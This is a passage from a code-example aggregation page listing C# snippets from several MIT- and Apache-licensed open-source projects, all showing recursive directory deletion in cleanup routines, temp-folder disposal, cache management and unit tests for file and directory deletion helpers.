else if (Directory.Exists(path))
{
Directory.Delete(path, true);
}
else
{
return true;
}
}
catch (FileNotFoundException) { }
catch (DirectoryNotFoundException) { }
catch (IOException e)
{
if (retryCount > 5)
{
Logger.Error($"Try to delete the path ({path}) failed. ", e);
return false;
}
Logger.Error($"Retry to delete the path ({path}) failed {retryCount} times. ", e);
await TimeSpan.FromMilliseconds(retryCount * 500);
await TryDeleteAsync(path, retryCount + 1);
}
catch (Exception e)
{
Logger.Error($"Try to delete the path ({path}) failed", e);
return false;
}
return true;
}
19
View Source File : Program.cs
License : MIT License
Project Creator : Accelerider
License : MIT License
Project Creator : Accelerider
private static async Task DeleteDirectoryAsync(string path, int count = 0)
{
try
{
Directory.Delete(path, true);
}
catch (IOException)
{
if (count < 10)
{
await Task.Delay(TimeSpan.FromMilliseconds(500 * count));
await DeleteDirectoryAsync(path, count + 1);
}
}
}
19
View Source File : ProjectRootFolder.cs
License : MIT License
Project Creator : action-bi-toolkit
License : MIT License
Project Creator : action-bi-toolkit
public void Dispose()
{
// Do not delete anything if an unhandled error has occurred
if (!_committed) return;
if (_filesWritten.Count == 0)
{
if (Directory.Exists(BasePath))
{
Directory.Delete(BasePath, recursive: true);
Log.Information("No files written. Removed base folder: {Path}", BasePath);
}
return;
}
// Remove any existing files that have not been updated
foreach (var path in Directory.GetFiles(BasePath, "*.*", SearchOption.AllDirectories))
{
if (!_filesWritten.Contains(path))
{
File.Delete(path);
Log.Information("Removed file: {Path}", path);
}
}
// Remove empty dirs:
foreach (var dir in Directory.GetDirectories(BasePath, "*", SearchOption.AllDirectories).ToArray())
{
if (Directory.Exists(dir) && Directory.EnumerateFiles(dir, "*.*", SearchOption.AllDirectories).FirstOrDefault() == null)
{
Directory.Delete(dir, recursive: true); // Could be root of a series of empty folders
Log.Information("Removed empty directory: {Path}", dir);
}
}
// TODO Check if nested empty dirs need to be removed explicitly
// ./ROOT
// ./ROOT/dir1
// ./ROOT/dir1/file.txt
// ./ROOT/dir1/empty/ ***
}
19
View Source File : CmdLineActions.cs
License : MIT License
Project Creator : action-bi-toolkit
License : MIT License
Project Creator : action-bi-toolkit
[ArgActionMethod, ArgShortcut("cache"), ArgDescription("Manages the internal replacedembly cache.")]
[ArgExample("pbi-tools.exe cache list", "Lists all cache folders present in the current user profile.")]
public void Cache(
[ArgRequired, ArgDescription("The cache action to perform.")] CacheAction action
)
{
var folders = Directory.GetDirectories(ApplicationFolders.AppDataFolder);
switch (action)
{
case CacheAction.List:
Array.ForEach(folders, f =>
Console.WriteLine($"- {Path.GetFileName(f)}")
);
break;
case CacheAction.ClearAll:
Array.ForEach(folders, f =>
{
Directory.Delete(f, recursive: true);
Console.WriteLine($"Deleted: {Path.GetFileName(f)}");
});
break;
case CacheAction.ClearOutdated:
Array.ForEach(folders.OrderByDescending(x => x).Skip(1).ToArray(), f =>
{
Directory.Delete(f, recursive: true);
Console.WriteLine($"Deleted: {Path.GetFileName(f)}");
});
break;
}
}
19
View Source File : ProjectFolder.cs
License : MIT License
Project Creator : action-bi-toolkit
License : MIT License
Project Creator : action-bi-toolkit
private void WriteFile<T>(string path, Func<string, T> factory, Action<T> callback) where T : IDisposable
{
var fullPath = GetFullPath(path);
Directory.CreateDirectory(Path.GetDirectoryName(fullPath));
if (Directory.Exists(fullPath))
{
Log.Verbose("Deleting directory at: {Path} as it conflicts with a new file to be created at the same location.", fullPath);
Directory.Delete(fullPath, recursive: true);
}
Log.Verbose("Writing file: {Path}", fullPath);
using (var writer = factory(fullPath))
{
callback(writer);
}
_root.FileWritten(fullPath); // keeps track of files added or updated
}
19
View Source File : TempFolder.cs
License : MIT License
Project Creator : action-bi-toolkit
License : MIT License
Project Creator : action-bi-toolkit
void IDisposable.Dispose()
{
if (!Delete) return;
Directory.Delete(Path, recursive: true);
Log.Verbose("Deleted TEMP folder at {Path}", Path);
// Provide failsafe Dispose() -- catch and log any errors, rather than re-throw
}
19
View Source File : ContainerOperationProvider.cs
License : MIT License
Project Creator : actions
License : MIT License
Project Creator : actions
private void ContainerRegistryLogout(string configLocation)
{
try
{
if (!string.IsNullOrEmpty(configLocation) && Directory.Exists(configLocation))
{
Directory.Delete(configLocation, recursive: true);
}
}
catch (Exception e)
{
throw new InvalidOperationException($"Failed to remove directory containing Docker client credentials: {e.Message}");
}
}
19
View Source File : IOUtilL0.cs
License : MIT License
Project Creator : actions
License : MIT License
Project Creator : actions
[Fact]
[Trait("Level", "L0")]
[Trait("Category", "Common")]
public void Delete_DeletesFile()
{
using (TestHostContext hc = new TestHostContext(this))
{
Tracing trace = hc.GetTrace();
// Arrange: Create a directory with a file.
string directory = Path.Combine(hc.GetDirectory(WellKnownDirectory.Bin), Path.GetRandomFileName());
string file = Path.Combine(directory, "some file");
try
{
Directory.CreateDirectory(directory);
File.WriteAllText(path: file, contents: "some contents");
// Act.
IOUtil.Delete(file, CancellationToken.None);
// replacedert.
replacedert.False(File.Exists(file));
}
finally
{
// Cleanup.
if (Directory.Exists(directory))
{
Directory.Delete(directory, recursive: true);
}
}
}
}
19
View Source File : IOUtilL0.cs
License : MIT License
Project Creator : actions
License : MIT License
Project Creator : actions
[Fact]
[Trait("Level", "L0")]
[Trait("Category", "Common")]
public void DeleteDirectory_DeletesDirectoriesRecursively()
{
using (TestHostContext hc = new TestHostContext(this))
{
Tracing trace = hc.GetTrace();
// Arrange: Create a directory with a grandchild directory.
string directory = Path.Combine(hc.GetDirectory(WellKnownDirectory.Bin), Path.GetRandomFileName());
try
{
Directory.CreateDirectory(Path.Combine(directory, "some child directory", "some grandchild directory"));
// Act.
IOUtil.DeleteDirectory(directory, CancellationToken.None);
// replacedert.
replacedert.False(Directory.Exists(directory));
}
finally
{
// Cleanup.
if (Directory.Exists(directory))
{
Directory.Delete(directory, recursive: true);
}
}
}
}
19
View Source File : IOUtilL0.cs
License : MIT License
Project Creator : actions
License : MIT License
Project Creator : actions
[Fact]
[Trait("Level", "L0")]
[Trait("Category", "Common")]
public async Task DeleteDirectory_DeletesDirectoryReparsePointChain()
{
using (TestHostContext hc = new TestHostContext(this))
{
Tracing trace = hc.GetTrace();
// Arrange: Create the following structure:
// randomDir
// randomDir/<guid 1> -> <guid 2>
// randomDir/<guid 2> -> <guid 3>
// randomDir/<guid 3> -> <guid 4>
// randomDir/<guid 4> -> <guid 5>
// randomDir/<guid 5> -> targetDir
// randomDir/targetDir
// randomDir/targetDir/file.txt
//
// The purpose of this test is to verify that DirectoryNotFoundException is gracefully handled when
// deleting a chain of reparse point directories. Since the reparse points are named in a random order,
// the DirectoryNotFoundException case is likely to be encountered.
string randomDir = Path.Combine(hc.GetDirectory(WellKnownDirectory.Bin), Path.GetRandomFileName());
try
{
string targetDir = Directory.CreateDirectory(Path.Combine(randomDir, "targetDir")).FullName;
string file = Path.Combine(targetDir, "file.txt");
File.WriteAllText(path: file, contents: "some contents");
string linkDir1 = Path.Combine(randomDir, $"{Guid.NewGuid()}_linkDir1");
string linkDir2 = Path.Combine(randomDir, $"{Guid.NewGuid()}_linkDir2");
string linkDir3 = Path.Combine(randomDir, $"{Guid.NewGuid()}_linkDir3");
string linkDir4 = Path.Combine(randomDir, $"{Guid.NewGuid()}_linkDir4");
string linkDir5 = Path.Combine(randomDir, $"{Guid.NewGuid()}_linkDir5");
await CreateDirectoryReparsePoint(context: hc, link: linkDir1, target: linkDir2);
await CreateDirectoryReparsePoint(context: hc, link: linkDir2, target: linkDir3);
await CreateDirectoryReparsePoint(context: hc, link: linkDir3, target: linkDir4);
await CreateDirectoryReparsePoint(context: hc, link: linkDir4, target: linkDir5);
await CreateDirectoryReparsePoint(context: hc, link: linkDir5, target: targetDir);
// Sanity check to verify the link was created properly:
replacedert.True(Directory.Exists(linkDir1));
replacedert.True(new DirectoryInfo(linkDir1).Attributes.HasFlag(FileAttributes.ReparsePoint));
replacedert.True(File.Exists(Path.Combine(linkDir1, "file.txt")));
// Act.
IOUtil.DeleteDirectory(randomDir, CancellationToken.None);
// replacedert.
replacedert.False(Directory.Exists(linkDir1));
replacedert.False(Directory.Exists(targetDir));
replacedert.False(File.Exists(file));
replacedert.False(Directory.Exists(randomDir));
}
finally
{
// Cleanup.
if (Directory.Exists(randomDir))
{
Directory.Delete(randomDir, recursive: true);
}
}
}
}
19
View Source File : IOUtilL0.cs
License : MIT License
Project Creator : actions
License : MIT License
Project Creator : actions
[Fact]
[Trait("Level", "L0")]
[Trait("Category", "Common")]
public async Task DeleteDirectory_DoesNotFollowDirectoryReparsePoint()
{
using (TestHostContext hc = new TestHostContext(this))
{
Tracing trace = hc.GetTrace();
// Arrange: Create the following structure:
// randomDir
// randomDir/targetDir
// randomDir/targetDir/file.txt
// randomDir/linkDir -> targetDir
string randomDir = Path.Combine(hc.GetDirectory(WellKnownDirectory.Bin), Path.GetRandomFileName());
try
{
string targetDir = Directory.CreateDirectory(Path.Combine(randomDir, "targetDir")).FullName;
string file = Path.Combine(targetDir, "file.txt");
File.WriteAllText(path: file, contents: "some contents");
string linkDir = Path.Combine(randomDir, "linkDir");
await CreateDirectoryReparsePoint(context: hc, link: linkDir, target: targetDir);
// Sanity check to verify the link was created properly:
replacedert.True(Directory.Exists(linkDir));
replacedert.True(new DirectoryInfo(linkDir).Attributes.HasFlag(FileAttributes.ReparsePoint));
replacedert.True(File.Exists(Path.Combine(linkDir, "file.txt")));
// Act.
IOUtil.DeleteDirectory(linkDir, CancellationToken.None);
// replacedert.
replacedert.False(Directory.Exists(linkDir));
replacedert.True(Directory.Exists(targetDir));
replacedert.True(File.Exists(file));
}
finally
{
// Cleanup.
if (Directory.Exists(randomDir))
{
Directory.Delete(randomDir, recursive: true);
}
}
}
}
19
View Source File : IOUtilL0.cs
License : MIT License
Project Creator : actions
License : MIT License
Project Creator : actions
[Fact]
[Trait("Level", "L0")]
[Trait("Category", "Common")]
public async Task DeleteDirectory_DoesNotFollowNestLevel2DirectoryReparsePoint()
{
using (TestHostContext hc = new TestHostContext(this))
{
Tracing trace = hc.GetTrace();
// Arrange: Create the following structure:
// randomDir
// randomDir/targetDir
// randomDir/targetDir/file.txt
// randomDir/subDir1
// randomDir/subDir1/subDir2
// randomDir/subDir1/subDir2/linkDir -> ../../targetDir
string randomDir = Path.Combine(hc.GetDirectory(WellKnownDirectory.Bin), Path.GetRandomFileName());
try
{
string targetDir = Directory.CreateDirectory(Path.Combine(randomDir, "targetDir")).FullName;
string file = Path.Combine(targetDir, "file.txt");
File.WriteAllText(path: file, contents: "some contents");
string subDir1 = Directory.CreateDirectory(Path.Combine(randomDir, "subDir1")).FullName;
string subDir2 = Directory.CreateDirectory(Path.Combine(subDir1, "subDir2")).FullName;
string linkDir = Path.Combine(subDir2, "linkDir");
await CreateDirectoryReparsePoint(context: hc, link: linkDir, target: targetDir);
// Sanity check to verify the link was created properly:
replacedert.True(Directory.Exists(linkDir));
replacedert.True(new DirectoryInfo(linkDir).Attributes.HasFlag(FileAttributes.ReparsePoint));
replacedert.True(File.Exists(Path.Combine(linkDir, "file.txt")));
// Act.
IOUtil.DeleteDirectory(subDir1, CancellationToken.None);
// replacedert.
replacedert.False(Directory.Exists(subDir1));
replacedert.True(Directory.Exists(targetDir));
replacedert.True(File.Exists(file));
}
finally
{
// Cleanup.
if (Directory.Exists(randomDir))
{
Directory.Delete(randomDir, recursive: true);
}
}
}
}
19
View Source File : IOUtilL0.cs
License : MIT License
Project Creator : actions
License : MIT License
Project Creator : actions
[Fact]
[Trait("Level", "L0")]
[Trait("Category", "Common")]
public void DeleteFile_IgnoresDirectory()
{
using (TestHostContext hc = new TestHostContext(this))
{
Tracing trace = hc.GetTrace();
// Arrange: Create a directory.
string directory = Path.Combine(hc.GetDirectory(WellKnownDirectory.Bin), Path.GetRandomFileName());
try
{
Directory.CreateDirectory(directory);
// Act: Call "DeleteFile" against a directory. The method should not blow up and
// should simply ignore the directory since it is not a file.
IOUtil.DeleteFile(directory);
// replacedert.
replacedert.True(Directory.Exists(directory));
}
finally
{
// Cleanup.
if (Directory.Exists(directory))
{
Directory.Delete(directory, recursive: true);
}
}
}
}
19
View Source File : IOUtilL0.cs
License : MIT License
Project Creator : actions
License : MIT License
Project Creator : actions
[Fact]
[Trait("Level", "L0")]
[Trait("Category", "Common")]
public void ValidateExecutePermission_DoesNotExceedFailsafe()
{
using (TestHostContext hc = new TestHostContext(this))
{
Tracing trace = hc.GetTrace();
// Arrange: Create a directory.
string directory = Path.Combine(hc.GetDirectory(WellKnownDirectory.Bin), Path.GetRandomFileName());
try
{
Directory.CreateDirectory(directory);
// Act/replacedert: Call "ValidateExecutePermission". The method should not blow up.
IOUtil.ValidateExecutePermission(directory);
}
finally
{
// Cleanup.
if (Directory.Exists(directory))
{
Directory.Delete(directory, recursive: true);
}
}
}
}
19
View Source File : IOUtilL0.cs
License : MIT License
Project Creator : actions
License : MIT License
Project Creator : actions
[Fact]
[Trait("Level", "L0")]
[Trait("Category", "Common")]
public void ValidateExecutePermission_ExceedsFailsafe()
{
using (TestHostContext hc = new TestHostContext(this))
{
Tracing trace = hc.GetTrace();
// Arrange: Create a deep directory.
string directory = Path.Combine(hc.GetDirectory(WellKnownDirectory.Bin), Path.GetRandomFileName(), "1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", "13", "14", "15", "16", "17", "18", "19", "20");
try
{
Directory.CreateDirectory(directory);
Environment.SetEnvironmentVariable("AGENT_TEST_VALIDATE_EXECUTE_PERMISSIONS_FAILSAFE", "20");
try
{
// Act: Call "ValidateExecutePermission". The method should throw since
// it exceeds the failsafe recursion depth.
IOUtil.ValidateExecutePermission(directory);
// replacedert.
throw new Exception("Should have thrown not supported exception.");
}
catch (NotSupportedException)
{
}
}
finally
{
// Cleanup.
if (Directory.Exists(directory))
{
Directory.Delete(directory, recursive: true);
}
}
}
}
19
View Source File : IOUtilL0.cs
License : MIT License
Project Creator : actions
License : MIT License
Project Creator : actions
[Fact]
[Trait("Level", "L0")]
[Trait("Category", "Common")]
public void Delete_DeletesDirectory()
{
using (TestHostContext hc = new TestHostContext(this))
{
Tracing trace = hc.GetTrace();
// Arrange: Create a directory with a file.
string directory = Path.Combine(hc.GetDirectory(WellKnownDirectory.Bin), Path.GetRandomFileName());
string file = Path.Combine(directory, "some file");
try
{
Directory.CreateDirectory(directory);
File.WriteAllText(path: file, contents: "some contents");
// Act.
IOUtil.Delete(directory, CancellationToken.None);
// replacedert.
replacedert.False(Directory.Exists(directory));
}
finally
{
// Cleanup.
if (Directory.Exists(directory))
{
Directory.Delete(directory, recursive: true);
}
}
}
}
19
View Source File : IOUtilL0.cs
License : MIT License
Project Creator : actions
License : MIT License
Project Creator : actions
[Fact]
[Trait("Level", "L0")]
[Trait("Category", "Common")]
public async Task DeleteDirectory_DeletesDirectoryReparsePointsBeforeDirectories()
{
using (TestHostContext hc = new TestHostContext(this))
{
Tracing trace = hc.GetTrace();
// Arrange: Create the following structure:
// randomDir
// randomDir/linkDir -> targetDir
// randomDir/targetDir
// randomDir/targetDir/file.txt
//
// The accuracy of this test relies on an replacedumption that IOUtil sorts the directories in
// descending order before deleting them - either by length or by default sort order.
string randomDir = Path.Combine(hc.GetDirectory(WellKnownDirectory.Bin), Path.GetRandomFileName());
try
{
string targetDir = Directory.CreateDirectory(Path.Combine(randomDir, "targetDir")).FullName;
string file = Path.Combine(targetDir, "file.txt");
File.WriteAllText(path: file, contents: "some contents");
string linkDir = Path.Combine(randomDir, "linkDir");
await CreateDirectoryReparsePoint(context: hc, link: linkDir, target: targetDir);
// Sanity check to verify the link was created properly:
replacedert.True(Directory.Exists(linkDir));
replacedert.True(new DirectoryInfo(linkDir).Attributes.HasFlag(FileAttributes.ReparsePoint));
replacedert.True(File.Exists(Path.Combine(linkDir, "file.txt")));
// Act.
IOUtil.DeleteDirectory(randomDir, CancellationToken.None);
// replacedert.
replacedert.False(Directory.Exists(linkDir));
replacedert.False(Directory.Exists(targetDir));
replacedert.False(File.Exists(file));
replacedert.False(Directory.Exists(randomDir));
}
finally
{
// Cleanup.
if (Directory.Exists(randomDir))
{
Directory.Delete(randomDir, recursive: true);
}
}
}
}
19
View Source File : IOUtilL0.cs
License : MIT License
Project Creator : actions
License : MIT License
Project Creator : actions
[Fact]
[Trait("Level", "L0")]
[Trait("Category", "Common")]
public void DeleteDirectory_DeletesFilesRecursively()
{
using (TestHostContext hc = new TestHostContext(this))
{
Tracing trace = hc.GetTrace();
// Arrange: Create a directory with a grandchild file.
string directory = Path.Combine(hc.GetDirectory(WellKnownDirectory.Bin), Path.GetRandomFileName());
try
{
string file = Path.Combine(directory, "some subdirectory", "some file");
Directory.CreateDirectory(Path.GetDirectoryName(file));
File.WriteAllText(path: file, contents: "some contents");
// Act.
IOUtil.DeleteDirectory(directory, CancellationToken.None);
// replacedert.
replacedert.False(Directory.Exists(directory));
}
finally
{
// Cleanup.
if (Directory.Exists(directory))
{
Directory.Delete(directory, recursive: true);
}
}
}
}
19
View Source File : IOUtilL0.cs
License : MIT License
Project Creator : actions
License : MIT License
Project Creator : actions
[Fact]
[Trait("Level", "L0")]
[Trait("Category", "Common")]
public void DeleteDirectory_DeletesReadOnlyDirectories()
{
using (TestHostContext hc = new TestHostContext(this))
{
Tracing trace = hc.GetTrace();
// Arrange: Create a directory with a read-only subdirectory.
string directory = Path.Combine(hc.GetDirectory(WellKnownDirectory.Bin), Path.GetRandomFileName());
string subdirectory = Path.Combine(directory, "some subdirectory");
try
{
var subdirectoryInfo = new DirectoryInfo(subdirectory);
subdirectoryInfo.Create();
subdirectoryInfo.Attributes = subdirectoryInfo.Attributes | FileAttributes.ReadOnly;
// Act.
IOUtil.DeleteDirectory(directory, CancellationToken.None);
// replacedert.
replacedert.False(Directory.Exists(directory));
}
finally
{
// Cleanup.
var subdirectoryInfo = new DirectoryInfo(subdirectory);
if (subdirectoryInfo.Exists)
{
subdirectoryInfo.Attributes = subdirectoryInfo.Attributes & ~FileAttributes.ReadOnly;
}
if (Directory.Exists(directory))
{
Directory.Delete(directory, recursive: true);
}
}
}
}
19
View Source File : IOUtilL0.cs
License : MIT License
Project Creator : actions
License : MIT License
Project Creator : actions
[Fact]
[Trait("Level", "L0")]
[Trait("Category", "Common")]
public void DeleteDirectory_DeletesReadOnlyFiles()
{
using (TestHostContext hc = new TestHostContext(this))
{
Tracing trace = hc.GetTrace();
// Arrange: Create a directory with a read-only file.
string directory = Path.Combine(hc.GetDirectory(WellKnownDirectory.Bin), Path.GetRandomFileName());
string file = Path.Combine(directory, "some file");
try
{
Directory.CreateDirectory(directory);
File.WriteAllText(path: file, contents: "some contents");
File.SetAttributes(file, File.GetAttributes(file) | FileAttributes.ReadOnly);
// Act.
IOUtil.DeleteDirectory(directory, CancellationToken.None);
// replacedert.
replacedert.False(Directory.Exists(directory));
}
finally
{
// Cleanup.
if (File.Exists(file))
{
File.SetAttributes(file, File.GetAttributes(file) & ~FileAttributes.ReadOnly);
}
if (Directory.Exists(directory))
{
Directory.Delete(directory, recursive: true);
}
}
}
}
19
View Source File : IOUtilL0.cs
License : MIT License
Project Creator : actions
License : MIT License
Project Creator : actions
[Fact]
[Trait("Level", "L0")]
[Trait("Category", "Common")]
public void DeleteFile_DeletesReadOnlyFile()
{
using (TestHostContext hc = new TestHostContext(this))
{
Tracing trace = hc.GetTrace();
// Arrange: Create a directory with a read-only file.
string directory = Path.Combine(hc.GetDirectory(WellKnownDirectory.Bin), Path.GetRandomFileName());
string file = Path.Combine(directory, "some file");
try
{
Directory.CreateDirectory(directory);
File.WriteAllText(path: file, contents: "some contents");
File.SetAttributes(file, File.GetAttributes(file) | FileAttributes.ReadOnly);
// Act.
IOUtil.DeleteFile(file);
// replacedert.
replacedert.False(File.Exists(file));
}
finally
{
// Cleanup.
if (File.Exists(file))
{
File.SetAttributes(file, File.GetAttributes(file) & ~FileAttributes.ReadOnly);
}
if (Directory.Exists(directory))
{
Directory.Delete(directory, recursive: true);
}
}
}
}
19
View Source File : PagingLoggerL0.cs
License : MIT License
Project Creator : actions
License : MIT License
Project Creator : actions
private void CleanLogFolder()
{
using (TestHostContext hc = new TestHostContext(this))
{
//clean test data if any old test forgot
string pagesFolder = Path.Combine(hc.GetDirectory(WellKnownDirectory.Diag), PagingLogger.PagingFolder);
if (Directory.Exists(pagesFolder))
{
Directory.Delete(pagesFolder, true);
}
}
}
19
View Source File : IOUtilL0.cs
License : MIT License
Project Creator : actions
License : MIT License
Project Creator : actions
[Fact]
[Trait("Level", "L0")]
[Trait("Category", "Common")]
public async Task DeleteDirectory_DoesNotFollowNestLevel1DirectoryReparsePoint()
{
using (TestHostContext hc = new TestHostContext(this))
{
Tracing trace = hc.GetTrace();
// Arrange: Create the following structure:
// randomDir
// randomDir/targetDir
// randomDir/targetDir/file.txt
// randomDir/subDir
// randomDir/subDir/linkDir -> ../targetDir
string randomDir = Path.Combine(hc.GetDirectory(WellKnownDirectory.Bin), Path.GetRandomFileName());
try
{
string targetDir = Directory.CreateDirectory(Path.Combine(randomDir, "targetDir")).FullName;
string file = Path.Combine(targetDir, "file.txt");
File.WriteAllText(path: file, contents: "some contents");
string subDir = Directory.CreateDirectory(Path.Combine(randomDir, "subDir")).FullName;
string linkDir = Path.Combine(subDir, "linkDir");
await CreateDirectoryReparsePoint(context: hc, link: linkDir, target: targetDir);
// Sanity check to verify the link was created properly:
replacedert.True(Directory.Exists(linkDir));
replacedert.True(new DirectoryInfo(linkDir).Attributes.HasFlag(FileAttributes.ReparsePoint));
replacedert.True(File.Exists(Path.Combine(linkDir, "file.txt")));
// Act.
IOUtil.DeleteDirectory(subDir, CancellationToken.None);
// replacedert.
replacedert.False(Directory.Exists(subDir));
replacedert.True(Directory.Exists(targetDir));
replacedert.True(File.Exists(file));
}
finally
{
// Cleanup.
if (Directory.Exists(randomDir))
{
Directory.Delete(randomDir, recursive: true);
}
}
}
}
19
View Source File : IOUtilL0.cs
License : MIT License
Project Creator : actions
License : MIT License
Project Creator : actions
[Fact]
[Trait("Level", "L0")]
[Trait("Category", "Common")]
public void DeleteDirectory_IgnoresFile()
{
using (TestHostContext hc = new TestHostContext(this))
{
Tracing trace = hc.GetTrace();
// Arrange: Create a directory with a file.
string directory = Path.Combine(hc.GetDirectory(WellKnownDirectory.Bin), Path.GetRandomFileName());
string file = Path.Combine(directory, "some file");
try
{
Directory.CreateDirectory(directory);
File.WriteAllText(path: file, contents: "some contents");
// Act: Call "DeleteDirectory" against the file. The method should not blow up and
// should simply ignore the file since it is not a directory.
IOUtil.DeleteDirectory(file, CancellationToken.None);
// replacedert.
replacedert.True(File.Exists(file));
}
finally
{
// Cleanup.
if (Directory.Exists(directory))
{
Directory.Delete(directory, recursive: true);
}
}
}
}
19
View Source File : IOUtilL0.cs
License : MIT License
Project Creator : actions
License : MIT License
Project Creator : actions
[Fact]
[Trait("Level", "L0")]
[Trait("Category", "Common")]
public void DeleteFile_DeletesFile()
{
using (TestHostContext hc = new TestHostContext(this))
{
Tracing trace = hc.GetTrace();
// Arrange: Create a directory with a file.
string directory = Path.Combine(hc.GetDirectory(WellKnownDirectory.Bin), Path.GetRandomFileName());
string file = Path.Combine(directory, "some file");
try
{
Directory.CreateDirectory(directory);
File.WriteAllText(path: file, contents: "some contents");
// Act.
IOUtil.DeleteFile(file);
// replacedert.
replacedert.False(File.Exists(file));
}
finally
{
// Cleanup.
if (Directory.Exists(directory))
{
Directory.Delete(directory, recursive: true);
}
}
}
}
19
View Source File : FileSystem.cs
License : Apache License 2.0
Project Creator : adamralph
License : Apache License 2.0
Project Creator : adamralph
private static void DeleteDirectory(string path)
{
// Directory.Delete fails if anything in the tree has the read-only attribute set. ¯\_(ツ)_/¯
ResetAttributes(new DirectoryInfo(path));
static void ResetAttributes(DirectoryInfo directory)
{
foreach (var childDirectory in directory.GetDirectories())
{
ResetAttributes(childDirectory);
}
foreach (var file in directory.GetFiles())
{
file.Attributes = FileAttributes.Normal;
}
directory.Attributes = FileAttributes.Normal;
}
Directory.Delete(path, true);
if (!SpinWait.SpinUntil(() => !Directory.Exists(path), millisecondsTimeout))
{
throw new IOException($"Failed to delete directory '{path}'.");
}
}
19
View Source File : EdgeCasesTest.cs
License : MIT License
Project Creator : adams85
License : MIT License
Project Creator : adams85
[Fact]
public async Task FailingEntryDontGetStuck()
{
var logsDirName = Guid.NewGuid().ToString("D");
var tempPath = Path.Combine(Path.GetTempPath());
var logPath = Path.Combine(tempPath, logsDirName);
if (Directory.Exists(logPath))
Directory.Delete(logPath, recursive: true);
var fileProvider = new PhysicalFileProvider(tempPath);
var options = new FileLoggerOptions
{
FileAppender = new PhysicalFileAppender(fileProvider),
BasePath = logsDirName,
Files = new[]
{
new LogFileOptions
{
Path = "default.log",
},
},
};
var optionsMonitor = new DelegatedOptionsMonitor<FileLoggerOptions>(_ => options);
var completeCts = new CancellationTokenSource();
var completionTimeoutMs = 2000;
var context = new TestFileLoggerContext(completeCts.Token, TimeSpan.FromMilliseconds(completionTimeoutMs), writeRetryDelay: TimeSpan.FromMilliseconds(250));
context.SetTimestamp(new DateTime(2017, 1, 1, 0, 0, 0, DateTimeKind.Utc));
var services = new ServiceCollection();
services.AddOptions();
services.AddLogging(b => b.AddFile(context));
services.AddSingleton<IOptionsMonitor<FileLoggerOptions>>(optionsMonitor);
string filePath = Path.Combine(logPath, "default.log");
try
{
FileLoggerProvider[] providers;
using (ServiceProvider sp = services.BuildServiceProvider())
{
providers = context.GetProviders(sp).ToArray();
replacedert.Equal(1, providers.Length);
var resetTasks = new List<Task>();
foreach (FileLoggerProvider provider in providers)
provider.Reset += (s, e) => resetTasks.Add(e);
ILoggerFactory loggerFactory = sp.GetRequiredService<ILoggerFactory>();
ILogger logger = loggerFactory.CreateLogger("X");
logger.LogInformation("This should get through.");
optionsMonitor.Reload();
// ensuring that reset has been finished and the new settings are effective
await Task.WhenAll(resetTasks);
using (var fs = new FileStream(filePath, FileMode.Open, FileAccess.Read, FileShare.Read))
{
logger.LogInformation("This shouldn't get through.");
Task completion = context.GetCompletion(sp);
replacedert.False(completion.IsCompleted);
completeCts.Cancel();
replacedert.Equal(completion, await Task.WhenAny(completion, Task.Delay(TimeSpan.FromMilliseconds(completionTimeoutMs * 2))));
replacedert.Equal(TaskStatus.RanToCompletion, completion.Status);
}
}
IFileInfo logFile = fileProvider.GetFileInfo($"{logsDirName}/default.log");
replacedert.True(logFile.Exists && !logFile.IsDirectory);
var lines = logFile.ReadAllText(out Encoding encoding).Split(new[] { Environment.NewLine }, StringSplitOptions.None);
replacedert.Equal(Encoding.UTF8, encoding);
replacedert.Equal(new[]
{
$"info: X[0] @ {context.GetTimestamp().ToLocalTime():o}",
$" This should get through.",
""
}, lines);
}
finally
{
Directory.Delete(logPath, recursive: true);
}
}
19
View Source File : LoggingTest.cs
License : MIT License
Project Creator : adams85
License : MIT License
Project Creator : adams85
private async Task LoggingToPhysicalUsingDICore(LogFileAccessMode accessMode)
{
var logsDirName = Guid.NewGuid().ToString("D");
var configData = new Dictionary<string, string>
{
[$"{nameof(FileLoggerOptions.BasePath)}"] = logsDirName,
[$"{nameof(FileLoggerOptions.FileEncodingName)}"] = "UTF-16",
[$"{nameof(FileLoggerOptions.DateFormat)}"] = "yyMMdd",
[$"{nameof(FileLoggerOptions.FileAccessMode)}"] = accessMode.ToString(),
[$"{nameof(FileLoggerOptions.Files)}:0:{nameof(LogFileOptions.Path)}"] = "logger-<date>.log",
[$"{nameof(FileLoggerOptions.Files)}:0:{nameof(LogFileOptions.MinLevel)}:Karambolo.Extensions.Logging.File"] = LogLevel.None.ToString(),
[$"{nameof(FileLoggerOptions.Files)}:0:{nameof(LogFileOptions.MinLevel)}:{LogFileOptions.DefaultCategoryName}"] = LogLevel.Information.ToString(),
[$"{nameof(FileLoggerOptions.Files)}:1:{nameof(LogFileOptions.Path)}"] = "test-<date>.log",
[$"{nameof(FileLoggerOptions.Files)}:1:{nameof(LogFileOptions.MinLevel)}:Karambolo.Extensions.Logging.File.Test"] = LogLevel.Information.ToString(),
[$"{nameof(FileLoggerOptions.Files)}:1:{nameof(LogFileOptions.MinLevel)}:{LogFileOptions.DefaultCategoryName}"] = LogLevel.None.ToString(),
};
var cb = new ConfigurationBuilder();
cb.AddInMemoryCollection(configData);
IConfigurationRoot config = cb.Build();
var tempPath = Path.Combine(Path.GetTempPath());
var logPath = Path.Combine(tempPath, logsDirName);
var fileProvider = new PhysicalFileProvider(tempPath);
var cts = new CancellationTokenSource();
var context = new TestFileLoggerContext(cts.Token, completionTimeout: Timeout.InfiniteTimeSpan);
context.SetTimestamp(new DateTime(2017, 1, 1, 0, 0, 0, DateTimeKind.Utc));
var diagnosticEventReceived = false;
context.DiagnosticEvent += _ => diagnosticEventReceived = true;
var services = new ServiceCollection();
services.AddOptions();
services.AddLogging(b => b.AddFile(context, o => o.FileAppender = new PhysicalFileAppender(fileProvider)));
services.Configure<FileLoggerOptions>(config);
if (Directory.Exists(logPath))
Directory.Delete(logPath, recursive: true);
try
{
var ex = new Exception();
FileLoggerProvider[] providers;
using (ServiceProvider sp = services.BuildServiceProvider())
{
providers = context.GetProviders(sp).ToArray();
replacedert.Equal(1, providers.Length);
ILogger<LoggingTest> logger1 = sp.GetService<ILogger<LoggingTest>>();
logger1.LogInformation("This is a nice logger.");
using (logger1.BeginScope("SCOPE"))
{
logger1.LogWarning(1, "This is a smart logger.");
logger1.LogTrace("This won't make it.");
using (logger1.BeginScope("NESTED SCOPE"))
{
ILoggerFactory loggerFactory = sp.GetService<ILoggerFactory>();
ILogger logger2 = loggerFactory.CreateLogger("X");
logger2.LogError(0, ex, "Some failure!");
}
}
cts.Cancel();
// ensuring that all entries are processed
await context.GetCompletion(sp);
